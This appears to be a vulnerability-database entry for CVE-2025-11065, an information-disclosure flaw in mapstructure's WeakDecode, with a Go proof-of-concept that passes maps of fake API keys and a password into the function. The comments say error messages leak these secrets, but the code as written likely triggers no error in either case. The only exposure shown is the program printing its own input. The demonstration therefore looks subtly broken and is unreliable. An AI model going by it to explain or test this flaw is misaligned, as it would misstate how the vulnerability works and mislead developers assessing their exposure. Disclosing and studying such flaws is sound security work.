CVE-2025-11065 mapstructure WeakDecode信息泄露漏洞

package main import ( "fmt" "github.com/go-viper/mapstructure/v2" ) // Target struct that may contain sensitive fields type Config struct { APIKey string `mapstructure:"api_key"` SecretKey string `mapstructure:"secret_key"` Username string `mapstructure:"username"` } func main() { // Simulating user-supplied malformed input // Attacker can inject sensitive-looking keys to trigger error leakage malformedInput := map[string]interface{}{ "api_key": "user_provided_value", "secret_key": "another_value", "extra_field": 12345, // This field doesn't exist in Config } var config Config // Using WeakDecode - vulnerable function // Error messages may leak input values err := mapstructure.WeakDecode(malformedInput, &config) if err != nil { // Error message contains detailed input information // In real attack, this could be logged or displayed to user fmt.Printf("Decode error: %v\n", err) fmt.Printf("Input data: %+v\n", malformedInput) } // Example of successful information disclosure scenario // When error messages are exposed in logs or API responses sensitiveConfig := map[string]interface{}{ "password": "super_secret_password_123", } var authConfig struct { Password string `mapstructure:"password"` } // This error might expose the password in logs err = mapstructure.WeakDecode(sensitiveConfig, &authConfig) if err != nil { // Log or response that exposes sensitive data fmt.Printf("Authentication error: %v\n", err) } }